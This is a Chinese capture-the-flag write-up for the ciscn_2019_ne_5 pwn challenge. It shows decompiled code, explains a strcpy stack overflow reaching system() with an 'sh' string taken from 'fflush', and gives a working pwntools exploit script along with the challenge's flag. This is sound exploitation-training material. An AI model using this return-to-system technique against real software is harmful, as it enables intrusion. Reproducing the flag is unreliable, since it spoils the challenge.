BUU-ciscn_2019_ne_5

检查保护

IDA

逻辑不是很复杂，

第一次提示输入admin密码，密码要输入administrator才能下一步

接着是输入功能选项（0~3）

第一个输入，看起来没啥用，但是传入的是src字符串，返回的也是src

第二个输出，进去只有一个put，一无所有

第三个是打印，里面发现了system函数

第四个本应该是’0’选项，这里多了个’4’，函数名叫getflag，进去看是个输出flag的函数，初步预测跳转到这里就可以了。

第五个才是’0’的退出

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax
  int v4; // [esp+0h] [ebp-100h] BYREF
  char src[4]; // [esp+4h] [ebp-FCh] BYREF
  char v6[124]; // [esp+8h] [ebp-F8h] BYREF
  char s1[4]; // [esp+84h] [ebp-7Ch] BYREF
  char v8[96]; // [esp+88h] [ebp-78h] BYREF
  int *v9; // [esp+F4h] [ebp-Ch]

  v9 = &argc;
  setbuf(stdin, 0);
  setbuf(stdout, 0);
  setbuf(stderr, 0);
  fflush(stdout);
  *(_DWORD *)s1 = 48;
  memset(v8, 0, sizeof(v8));
  *(_DWORD *)src = 48;
  memset(v6, 0, sizeof(v6));
  puts("Welcome to use LFS.");
  printf("Please input admin password:");
  __isoc99_scanf("%100s", s1);
  if ( strcmp(s1, "administrator") )
  {
    puts("Password Error!");
    exit(0);
  }
  puts("Welcome!");
  puts("Input your operation:");
  puts("1.Add a log.");
  puts("2.Display all logs.");
  puts("3.Print all logs.");
  printf("0.Exit\n:");
  __isoc99_scanf("%d", &v4);
  switch ( v4 )
  {
    case 0:
      exit(0);
      return result;
    case 1:
      AddLog(src);
      result = sub_804892B(argc, argv, envp);
      break;
    case 2:
      Display(src);
      result = sub_804892B(argc, argv, envp);
      break;
    case 3:
      Print();
      result = sub_804892B(argc, argv, envp);
      break;
    case 4:
      GetFlag(src);
      result = sub_804892B(argc, argv, envp);
      break;
    default:
      result = sub_804892B(argc, argv, envp);
      break;
  }
  return result;
}

解题

本来我想直接在功能选项输入4，但是弹出的flag是0……

可能直接跳转还是不行，这里看看能不能rop：

再次翻看四个选项，发现getflag有个strcpy，这里可以栈溢出跳转地址，dest栈空间0x48。拷贝的src可以在选项1里输入。

---

现在手里有了system，栈溢出点，就差/bin/sh

这里我找了很久没找到，暂时也没学libc库怎么调用，看大佬wp发现有个ffllush字符，可以截取里面的sh（太骚了），由于只截取部分字符，所以地址要手动偏移偏移。

我一开始不知道咋算，是按照小端序？要不要算\00？后面发现大佬用ROPgatget直接找关键字符串，服ORZ

0x080482E6到0x080482EA增加了4，应该是1个字符占一个地址，不是小端序，fflu刚好四个地址，\00在sh后面

EXP

👴吐了，sytem函数没点进去，调用错地址了，一直报错……

from pwn import *
p=remote('node3.buuoj.cn',29801)
context.log_level='debug'
p.recvuntil("password:")
p.sendline("administrator")
p.recvuntil("operation:")
p.sendline("1")
p.sendline('A'*0x48+'a'*4+p32(0x80484D0)+'a'*4+p32(0x080482EA))
p.recvuntil(":")
p.sendline('4')
p.interactive()

附：获取_system地址的其它写法：

system_plt = elf.plt['system']
system_addr=elf.sym['system']

flag

flag{e88eea8b-c04b-468e-a5c9-d6bb08c3547b}

坑＆填坑

1.明明构造了system("/sh")为什么还要倒回去执行4号选项才能正常进入交互界面，否则报错

2./bin/sh 和 /sh有啥区别

没啥区别